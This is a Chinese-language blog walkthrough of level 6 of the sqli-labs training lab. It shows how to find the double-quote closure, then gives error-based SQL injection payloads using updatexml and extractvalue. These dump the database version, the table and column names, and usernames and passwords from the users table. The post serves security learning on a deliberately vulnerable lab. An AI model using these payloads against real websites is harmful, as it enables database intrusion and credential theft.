当前位置: 首页 > news >正文

sqli—labs第六关——双引号报错注入

 一:判断输入类型

首先测试 ?id=1,?id=1',?id=1",页面回显均无变化

所以我们采用简单的布尔测试,分别测试数字型,单引号,双引号

然后发现,只有在测试到双引号注入的时候符合关键规律,其他的页面并无变化,即如下代码:

?id=1" and 1=1 --+   # 正常返回
?id=1" and 1=2 --+   # 异常返回,页面为空

 得出结论:第六关为字符型,双引号闭合

二:注入攻击

1.列数

?id=1" order by 3 --+正常
?id=1" order by 4 --+报错

2,获取数据库版本

?id=1" and updatexml(1,concat(0x7e,version()),1) --+

3,获取数据库名

?id=1" and updatexml(1,concat(0x7e,database()),1) --+

 4.获取数据库表名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
),1) --+

 5.获取数据库列名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columnswhere table_name='users' and table_schema=database())
),1) --+

 6.提取users表数据~

?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)))--+

❀❀❀ 完结撒花!! ❀❀❀

http://www.dtcms.com/a/190920.html

相关文章:

  • 小白学习java第18天(上):spring
  • 【C++】17. 多态
  • 大型企业数据治理与数据资产化:数字化转型的炼金术革命
  • 如何解决电脑蓝屏错误代码:Oxc0000098
  • 鸿蒙OSUniApp开发支持多语言的国际化组件#三方框架 #Uniapp
  • elementUI调整滚动条高度后与固定列冲突问题解决
  • 高海拔和远距离的人员识别:面部、体型和步态的融合
  • Java 源码 HashMap源码分析
  • PROE 转 STP 全攻略:软件实操、在线转换与问题解决
  • 【网工第6版】第10章 网络规划和设计②
  • D. Eating【Codeforces Round 1005 (Div. 2)】
  • 微机原理与接口技术知识点总结——8086微处理器ddddd
  • 16 - VDMA之视频转发实验
  • 字符串检索算法:KMP和Trie树
  • 解决 PicGo 上传 GitHub图床及Marp中Github图片编译常见难题指南
  • VUE3 -综合实践(Mock+Axios+ElementPlus)
  • 安全合规检查开源项目ComplianceAsCode/content详解及操作系统新产品开发适配指南
  • less中使用 @supports
  • tensorflow安装及简单例程学习
  • Baklib知识中台赋能业务智能跃迁
  • 使用大模型预测急性结石性疾病技术方案
  • 现代计算机图形学Games101入门笔记(六)
  • HPE ProLiant DL360 Gen11 服务器,配置 RAID 5 教程!
  • C#11的特性
  • echarts中一些关键的配置
  • SCADA|KingSCADA中如何使用自定义函数优化脚本程序?
  • Java问题排查常用命令行工具速查表
  • Android多媒体——媒体start流程分析(十三)
  • 深入解析 PostgreSQL 外部数据封装器(FDW)的 SELECT 查询执行机制
  • 【vLLM 学习】基础教程